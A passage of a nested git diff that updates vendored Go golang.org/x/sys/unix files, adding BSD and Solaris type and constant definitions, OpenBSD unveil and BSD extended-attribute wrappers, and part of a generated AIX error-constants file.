-- time_t st_atime;
-- long __st_atimensec;
-- time_t st_mtime;
-- long __st_mtimensec;
-- time_t st_ctime;
-- long __st_ctimensec;
--#endif
-- off_t st_size;
-- blkcnt_t st_blocks;
-- blksize_t st_blksize;
-- fflags_t st_flags;
-- __uint32_t st_gen;
-- __int32_t st_lspare;
--#if __BSD_VISIBLE
-- struct timespec st_birthtimespec;
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));
--#else
-- time_t st_birthtime;
-- long st_birthtimensec;
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct __timespec));
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct __timespec));
--#endif
--};
--
- // This structure is a duplicate of if_data on FreeBSD 8-STABLE.
- // See /usr/include/net/if.h.
- struct if_data8 {
-@@ -152,14 +114,14 @@ struct if_msghdr8 {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -187,33 +149,33 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
-+const (
-+ _statfsVersion = C.STATFS_VERSION
-+ _dirblksiz = C.DIRBLKSIZ
- )
-
--type Stat_t C.struct_stat8
-+type Stat_t C.struct_stat
-+
-+type stat_freebsd11_t C.struct_freebsd11_stat
-
- type Statfs_t C.struct_statfs
-
-+type statfs_freebsd11_t C.struct_freebsd11_statfs
-+
- type Flock_t C.struct_flock
-
- type Dirent C.struct_dirent
-
-+type dirent_freebsd11 C.struct_freebsd11_dirent
-+
- type Fsid C.struct_fsid
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
- // Advice to Fadvise
-
- const (
-@@ -281,14 +243,58 @@ const (
- // Ptrace requests
-
- const (
-- PTRACE_TRACEME = C.PT_TRACE_ME
-- PTRACE_CONT = C.PT_CONTINUE
-- PTRACE_KILL = C.PT_KILL
-+ PTRACE_ATTACH = C.PT_ATTACH
-+ PTRACE_CONT = C.PT_CONTINUE
-+ PTRACE_DETACH = C.PT_DETACH
-+ PTRACE_GETFPREGS = C.PT_GETFPREGS
-+ PTRACE_GETFSBASE = C.PT_GETFSBASE
-+ PTRACE_GETLWPLIST = C.PT_GETLWPLIST
-+ PTRACE_GETNUMLWPS = C.PT_GETNUMLWPS
-+ PTRACE_GETREGS = C.PT_GETREGS
-+ PTRACE_GETXSTATE = C.PT_GETXSTATE
-+ PTRACE_IO = C.PT_IO
-+ PTRACE_KILL = C.PT_KILL
-+ PTRACE_LWPEVENTS = C.PT_LWP_EVENTS
-+ PTRACE_LWPINFO = C.PT_LWPINFO
-+ PTRACE_SETFPREGS = C.PT_SETFPREGS
-+ PTRACE_SETREGS = C.PT_SETREGS
-+ PTRACE_SINGLESTEP = C.PT_STEP
-+ PTRACE_TRACEME = C.PT_TRACE_ME
-+)
-+
-+const (
-+ PIOD_READ_D = C.PIOD_READ_D
-+ PIOD_WRITE_D = C.PIOD_WRITE_D
-+ PIOD_READ_I = C.PIOD_READ_I
-+ PIOD_WRITE_I = C.PIOD_WRITE_I
-+)
-+
-+const (
-+ PL_FLAG_BORN = C.PL_FLAG_BORN
-+ PL_FLAG_EXITED = C.PL_FLAG_EXITED
-+ PL_FLAG_SI = C.PL_FLAG_SI
-+)
-+
-+const (
-+ TRAP_BRKPT = C.TRAP_BRKPT
-+ TRAP_TRACE = C.TRAP_TRACE
- )
-
-+type PtraceLwpInfoStruct C.struct_ptrace_lwpinfo
-+
-+type __Siginfo C.struct___siginfo
-+
-+type Sigset_t C.sigset_t
-+
-+type Reg C.struct_reg
-+
-+type FpReg C.struct_fpreg
-+
-+type PtraceIoDesc C.struct_ptrace_io_desc
-+
- // Events (kqueue, kevent)
-
--type Kevent_t C.struct_kevent
-+type Kevent_t C.struct_kevent_freebsd11
-
- // Select
-
-@@ -367,6 +373,34 @@ const (
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLINIGNEOF = C.POLLINIGNEOF
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
- // Capabilities
-
- type CapRights C.struct_cap_rights
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_netbsd.go b/vendor/golang.org/x/sys/unix/types_netbsd.go
-index cb95c80a..0a81aadb 100644
---- a/vendor/golang.org/x/sys/unix/types_netbsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_netbsd.go
-@@ -17,6 +17,7 @@ package unix
- #define KERNEL
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
-@@ -32,10 +33,12 @@ package unix
- #include <sys/signal.h>
- #include <sys/socket.h>
- #include <sys/stat.h>
-+#include <sys/statvfs.h>
- #include <sys/sysctl.h>
- #include <sys/time.h>
- #include <sys/uio.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -65,14 +68,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -104,12 +107,38 @@ type Stat_t C.struct_stat
-
- type Statfs_t C.struct_statfs
-
-+type Statvfs_t C.struct_statvfs
-+
- type Flock_t C.struct_flock
-
- type Dirent C.struct_dirent
-
- type Fsid C.fsid_t
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
-+// Fstatvfs/Statvfs flags
-+
-+const (
-+ ST_WAIT = C.ST_WAIT
-+ ST_NOWAIT = C.ST_NOWAIT
-+)
-+
-+// Advice to Fadvise
-+
-+const (
-+ FADV_NORMAL = C.POSIX_FADV_NORMAL
-+ FADV_RANDOM = C.POSIX_FADV_RANDOM
-+ FADV_SEQUENTIAL = C.POSIX_FADV_SEQUENTIAL
-+ FADV_WILLNEED = C.POSIX_FADV_WILLNEED
-+ FADV_DONTNEED = C.POSIX_FADV_DONTNEED
-+ FADV_NOREUSE = C.POSIX_FADV_NOREUSE
-+)
-+
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -227,13 +256,45 @@ type BpfTimeval C.struct_bpf_timeval
-
- type Termios C.struct_termios
-
-+type Winsize C.struct_winsize
-+
-+type Ptmget C.struct_ptmget
-+
- // fchmodat-like syscalls.
-
- const (
- AT_FDCWD = C.AT_FDCWD
-+ AT_SYMLINK_FOLLOW = C.AT_SYMLINK_FOLLOW
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
- // Sysctl
-
- type Sysctlnode C.struct_sysctlnode
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_openbsd.go b/vendor/golang.org/x/sys/unix/types_openbsd.go
-index 392da69b..775cb57d 100644
---- a/vendor/golang.org/x/sys/unix/types_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_openbsd.go
-@@ -17,6 +17,7 @@ package unix
- #define KERNEL
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
-@@ -35,7 +36,9 @@ package unix
- #include <sys/time.h>
- #include <sys/uio.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
-+#include <uvm/uvmexp.h>
- #include <net/bpf.h>
- #include <net/if.h>
- #include <net/if_dl.h>
-@@ -64,14 +67,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -99,23 +102,6 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
--)
--
- type Stat_t C.struct_stat
-
- type Statfs_t C.struct_statfs
-@@ -126,6 +112,12 @@ type Dirent C.struct_dirent
-
- type Fsid C.fsid_t
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -243,9 +235,49 @@ type BpfTimeval C.struct_bpf_timeval
-
- type Termios C.struct_termios
-
-+type Winsize C.struct_winsize
-+
- // fchmodat-like syscalls.
-
- const (
- AT_FDCWD = C.AT_FDCWD
-+ AT_SYMLINK_FOLLOW = C.AT_SYMLINK_FOLLOW
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
-+// Signal Sets
-+
-+type Sigset_t C.sigset_t
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Uvmexp
-+
-+const SizeofUvmexp = C.sizeof_struct_uvmexp
-+
-+type Uvmexp C.struct_uvmexp
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_solaris.go b/vendor/golang.org/x/sys/unix/types_solaris.go
-index 393c7f04..d713f09e 100644
---- a/vendor/golang.org/x/sys/unix/types_solaris.go
-+++ b/vendor/golang.org/x/sys/unix/types_solaris.go
-@@ -24,6 +24,7 @@ package unix
- #include <fcntl.h>
- #include <netdb.h>
- #include <limits.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <termio.h>
-@@ -74,14 +75,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- PathMax = C.PATH_MAX
- MaxHostNameLen = C.MAXHOSTNAMELEN
- )
-@@ -117,23 +118,6 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
--)
--
- type Stat_t C.struct_stat
-
- type Flock_t C.struct_flock
-@@ -174,6 +158,8 @@ type Msghdr C.struct_msghdr
-
- type Cmsghdr C.struct_cmsghdr
-
-+type Inet4Pktinfo C.struct_in_pktinfo
-+
- type Inet6Pktinfo C.struct_in6_pktinfo
-
- type IPv6MTUInfo C.struct_ip6_mtuinfo
-@@ -191,6 +177,7 @@ const (
- SizeofIPv6Mreq = C.sizeof_struct_ipv6_mreq
- SizeofMsghdr = C.sizeof_struct_msghdr
- SizeofCmsghdr = C.sizeof_struct_cmsghdr
-+ SizeofInet4Pktinfo = C.sizeof_struct_in_pktinfo
- SizeofInet6Pktinfo = C.sizeof_struct_in6_pktinfo
- SizeofIPv6MTUInfo = C.sizeof_struct_ip6_mtuinfo
- SizeofICMPv6Filter = C.sizeof_struct_icmp6_filter
-@@ -256,10 +243,6 @@ type BpfTimeval C.struct_bpf_timeval
-
- type BpfHdr C.struct_bpf_hdr
-
--// sysconf information
--
--const _SC_PAGESIZE = C._SC_PAGESIZE
--
- // Terminal handling
-
- type Termios C.struct_termios
-@@ -267,3 +250,20 @@ type Termios C.struct_termios
- type Termio C.struct_termio
-
- type Winsize C.struct_winsize
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-diff --git a/vendor/golang.org/x/sys/unix/unveil_openbsd.go b/vendor/golang.org/x/sys/unix/unveil_openbsd.go
-new file mode 100644
-index 00000000..168d5ae7
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/unveil_openbsd.go
-@@ -0,0 +1,42 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+// Unveil implements the unveil syscall.
-+// For more information see unveil(2).
-+// Note that the special case of blocking further
-+// unveil calls is handled by UnveilBlock.
-+func Unveil(path string, flags string) error {
-+ pathPtr, err := syscall.BytePtrFromString(path)
-+ if err != nil {
-+ return err
-+ }
-+ flagsPtr, err := syscall.BytePtrFromString(flags)
-+ if err != nil {
-+ return err
-+ }
-+ _, _, e := syscall.Syscall(SYS_UNVEIL, uintptr(unsafe.Pointer(pathPtr)), uintptr(unsafe.Pointer(flagsPtr)), 0)
-+ if e != 0 {
-+ return e
-+ }
-+ return nil
-+}
-+
-+// UnveilBlock blocks future unveil calls.
-+// For more information see unveil(2).
-+func UnveilBlock() error {
-+ // Both pointers must be nil.
-+ var pathUnsafe, flagsUnsafe unsafe.Pointer
-+ _, _, e := syscall.Syscall(SYS_UNVEIL, uintptr(pathUnsafe), uintptr(flagsUnsafe), 0)
-+ if e != 0 {
-+ return e
-+ }
-+ return nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/xattr_bsd.go b/vendor/golang.org/x/sys/unix/xattr_bsd.go
-new file mode 100644
-index 00000000..30c1d71f
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/xattr_bsd.go
-@@ -0,0 +1,240 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build freebsd netbsd
-+
-+package unix
-+
-+import (
-+ "strings"
-+ "unsafe"
-+)
-+
-+// Derive extattr namespace and attribute name
-+
-+func xattrnamespace(fullattr string) (ns int, attr string, err error) {
-+ s := strings.IndexByte(fullattr, '.')
-+ if s == -1 {
-+ return -1, "", ENOATTR
-+ }
-+
-+ namespace := fullattr[0:s]
-+ attr = fullattr[s+1:]
-+
-+ switch namespace {
-+ case "user":
-+ return EXTATTR_NAMESPACE_USER, attr, nil
-+ case "system":
-+ return EXTATTR_NAMESPACE_SYSTEM, attr, nil
-+ default:
-+ return -1, "", ENOATTR
-+ }
-+}
-+
-+func initxattrdest(dest []byte, idx int) (d unsafe.Pointer) {
-+ if len(dest) > idx {
-+ return unsafe.Pointer(&dest[idx])
-+ } else {
-+ return unsafe.Pointer(_zero)
-+ }
-+}
-+
-+// FreeBSD and NetBSD implement their own syscalls to handle extended attributes
-+
-+func Getxattr(file string, attr string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsize := len(dest)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return -1, err
-+ }
-+
-+ return ExtattrGetFile(file, nsid, a, uintptr(d), destsize)
-+}
-+
-+func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsize := len(dest)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return -1, err
-+ }
-+
-+ return ExtattrGetFd(fd, nsid, a, uintptr(d), destsize)
-+}
-+
-+func Lgetxattr(link string, attr string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsize := len(dest)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return -1, err
-+ }
-+
-+ return ExtattrGetLink(link, nsid, a, uintptr(d), destsize)
-+}
-+
-+// flags are unused on FreeBSD
-+
-+func Fsetxattr(fd int, attr string, data []byte, flags int) (err error) {
-+ var d unsafe.Pointer
-+ if len(data) > 0 {
-+ d = unsafe.Pointer(&data[0])
-+ }
-+ datasiz := len(data)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ _, err = ExtattrSetFd(fd, nsid, a, uintptr(d), datasiz)
-+ return
-+}
-+
-+func Setxattr(file string, attr string, data []byte, flags int) (err error) {
-+ var d unsafe.Pointer
-+ if len(data) > 0 {
-+ d = unsafe.Pointer(&data[0])
-+ }
-+ datasiz := len(data)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ _, err = ExtattrSetFile(file, nsid, a, uintptr(d), datasiz)
-+ return
-+}
-+
-+func Lsetxattr(link string, attr string, data []byte, flags int) (err error) {
-+ var d unsafe.Pointer
-+ if len(data) > 0 {
-+ d = unsafe.Pointer(&data[0])
-+ }
-+ datasiz := len(data)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ _, err = ExtattrSetLink(link, nsid, a, uintptr(d), datasiz)
-+ return
-+}
-+
-+func Removexattr(file string, attr string) (err error) {
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ err = ExtattrDeleteFile(file, nsid, a)
-+ return
-+}
-+
-+func Fremovexattr(fd int, attr string) (err error) {
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ err = ExtattrDeleteFd(fd, nsid, a)
-+ return
-+}
-+
-+func Lremovexattr(link string, attr string) (err error) {
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ err = ExtattrDeleteLink(link, nsid, a)
-+ return
-+}
-+
-+func Listxattr(file string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsiz := len(dest)
-+
-+ // FreeBSD won't allow you to list xattrs from multiple namespaces
-+ s := 0
-+ for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-+ stmp, e := ExtattrListFile(file, nsid, uintptr(d), destsiz)
-+
-+ /* Errors accessing system attrs are ignored so that
-+ * we can implement the Linux-like behavior of omitting errors that
-+ * we don't have read permissions on
-+ *
-+ * Linux will still error if we ask for user attributes on a file that
-+ * we don't have read permissions on, so don't ignore those errors
-+ */
-+ if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-+ continue
-+ } else if e != nil {
-+ return s, e
-+ }
-+
-+ s += stmp
-+ destsiz -= s
-+ if destsiz < 0 {
-+ destsiz = 0
-+ }
-+ d = initxattrdest(dest, s)
-+ }
-+
-+ return s, nil
-+}
-+
-+func Flistxattr(fd int, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsiz := len(dest)
-+
-+ s := 0
-+ for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-+ stmp, e := ExtattrListFd(fd, nsid, uintptr(d), destsiz)
-+ if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-+ continue
-+ } else if e != nil {
-+ return s, e
-+ }
-+
-+ s += stmp
-+ destsiz -= s
-+ if destsiz < 0 {
-+ destsiz = 0
-+ }
-+ d = initxattrdest(dest, s)
-+ }
-+
-+ return s, nil
-+}
-+
-+func Llistxattr(link string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsiz := len(dest)
-+
-+ s := 0
-+ for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-+ stmp, e := ExtattrListLink(link, nsid, uintptr(d), destsiz)
-+ if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-+ continue
-+ } else if e != nil {
-+ return s, e
-+ }
-+
-+ s += stmp
-+ destsiz -= s
-+ if destsiz < 0 {
-+ destsiz = 0
-+ }
-+ d = initxattrdest(dest, s)
-+ }
-+
-+ return s, nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go
-new file mode 100644
-index 00000000..104994bc
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go
-@@ -0,0 +1,1384 @@
-+// mkerrors.sh -maix32
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc,aix
-+
-+// Created by cgo -godefs - DO NOT EDIT
-+// cgo -godefs -- -maix32 _const.go
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ AF_APPLETALK = 0x10
-+ AF_BYPASS = 0x19
-+ AF_CCITT = 0xa
-+ AF_CHAOS = 0x5
-+ AF_DATAKIT = 0x9
-+ AF_DECnet = 0xc
-+ AF_DLI = 0xd
-+ AF_ECMA = 0x8
-+ AF_HYLINK = 0xf
-+ AF_IMPLINK = 0x3
-+ AF_INET = 0x2
-+ AF_INET6 = 0x18
-+ AF_INTF = 0x14
-+ AF_ISO = 0x7
-+ AF_LAT = 0xe
-+ AF_LINK = 0x12
-+ AF_LOCAL = 0x1
-+ AF_MAX = 0x1e
-+ AF_NDD = 0x17
-+ AF_NETWARE = 0x16
-+ AF_NS = 0x6
-+ AF_OSI = 0x7
-+ AF_PUP = 0x4
-+ AF_RIF = 0x15
-+ AF_ROUTE = 0x11
-+ AF_SNA = 0xb
-+ AF_UNIX = 0x1
-+ AF_UNSPEC = 0x0
-+ ALTWERASE = 0x400000
-+ ARPHRD_802_3 = 0x6
-+ ARPHRD_802_5 = 0x6
-+ ARPHRD_ETHER = 0x1
-+ ARPHRD_FDDI = 0x1
-+ B0 = 0x0
-+ B110 = 0x3
-+ B1200 = 0x9
-+ B134 = 0x4
-+ B150 = 0x5
-+ B1800 = 0xa
-+ B19200 = 0xe
-+ B200 = 0x6
-+ B2400 = 0xb
-+ B300 = 0x7
-+ B38400 = 0xf
-+ B4800 = 0xc
-+ B50 = 0x1
-+ B600 = 0x8
-+ B75 = 0x2
-+ B9600 = 0xd
-+ BRKINT = 0x2
-+ BS0 = 0x0
-+ BS1 = 0x1000
-+ BSDLY = 0x1000
-+ CAP_AACCT = 0x6
-+ CAP_ARM_APPLICATION = 0x5
-+ CAP_BYPASS_RAC_VMM = 0x3
-+ CAP_CLEAR = 0x0
-+ CAP_CREDENTIALS = 0x7
-+ CAP_EFFECTIVE = 0x1
-+ CAP_EWLM_AGENT = 0x4
-+ CAP_INHERITABLE = 0x2
-+ CAP_MAXIMUM = 0x7
-+ CAP_NUMA_ATTACH = 0x2
-+ CAP_PERMITTED = 0x3
-+ CAP_PROPAGATE = 0x1
-+ CAP_PROPOGATE = 0x1
-+ CAP_SET = 0x1
-+ CBAUD = 0xf
-+ CFLUSH = 0xf
-+ CIBAUD = 0xf0000
-+ CLOCAL = 0x800
-+ CLOCK_MONOTONIC = 0xa
-+ CLOCK_PROCESS_CPUTIME_ID = 0xb
-+ CLOCK_REALTIME = 0x9
-+ CLOCK_THREAD_CPUTIME_ID = 0xc
-+ CR0 = 0x0
-+ CR1 = 0x100
-+ CR2 = 0x200
-+ CR3 = 0x300
-+ CRDLY = 0x300
-+ CREAD = 0x80
-+ CS5 = 0x0
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIOCGIFCONF = -0x3ff796dc
-+ CSIZE = 0x30
-+ CSMAP_DIR = "/usr/lib/nls/csmap/"
-+ CSTART = '\021'
-+ CSTOP = '\023'
-+ CSTOPB = 0x40
-+ CSUSP = 0x1a
-+ ECHO = 0x8
-+ ECHOCTL = 0x20000
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x80000
-+ ECHONL = 0x40
-+ ECHOPRT = 0x40000
-+ ECH_ICMPID = 0x2
-+ ETHERNET_CSMACD = 0x6
-+ EVENP = 0x80
-+ EXCONTINUE = 0x0
-+ EXDLOK = 0x3
-+ EXIO = 0x2
-+ EXPGIO = 0x0
-+ EXRESUME = 0x2
-+ EXRETURN = 0x1
-+ EXSIG = 0x4
-+ EXTA = 0xe
-+ EXTB = 0xf
-+ EXTRAP = 0x1
-+ EYEC_RTENTRYA = 0x257274656e747241
-+ EYEC_RTENTRYF = 0x257274656e747246
-+ E_ACC = 0x0
-+ FD_CLOEXEC = 0x1
-+ FD_SETSIZE = 0xfffe
-+ FF0 = 0x0
-+ FF1 = 0x2000
-+ FFDLY = 0x2000
-+ FLUSHBAND = 0x40
-+ FLUSHLOW = 0x8
-+ FLUSHO = 0x100000
-+ FLUSHR = 0x1
-+ FLUSHRW = 0x3
-+ FLUSHW = 0x2
-+ F_CLOSEM = 0xa
-+ F_DUP2FD = 0xe
-+ F_DUPFD = 0x0
-+ F_GETFD = 0x1
-+ F_GETFL = 0x3
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0xb
-+ F_GETOWN = 0x8
-+ F_LOCK = 0x1
-+ F_OK = 0x0
-+ F_RDLCK = 0x1
-+ F_SETFD = 0x2
-+ F_SETFL = 0x4
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0xc
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0xd
-+ F_SETOWN = 0x9
-+ F_TEST = 0x3
-+ F_TLOCK = 0x2
-+ F_TSTLK = 0xf
-+ F_ULOCK = 0x0
-+ F_UNLCK = 0x3
-+ F_WRLCK = 0x2
-+ HUPCL = 0x400
-+ IBSHIFT = 0x10
-+ ICANON = 0x2
-+ ICMP6_FILTER = 0x26
-+ ICMP6_SEC_SEND_DEL = 0x46
